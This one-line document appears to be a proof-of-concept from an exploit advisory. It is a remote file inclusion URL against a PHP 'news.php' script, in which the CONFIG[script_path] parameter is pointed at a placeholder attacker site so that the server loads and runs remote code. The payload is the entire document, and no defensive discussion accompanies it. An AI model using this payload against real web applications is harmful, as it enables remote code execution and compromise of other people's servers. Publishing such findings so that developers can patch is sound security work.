http://www.example.com/[Script Path]/news.php?CONFIG[script_path]=http://attacker's site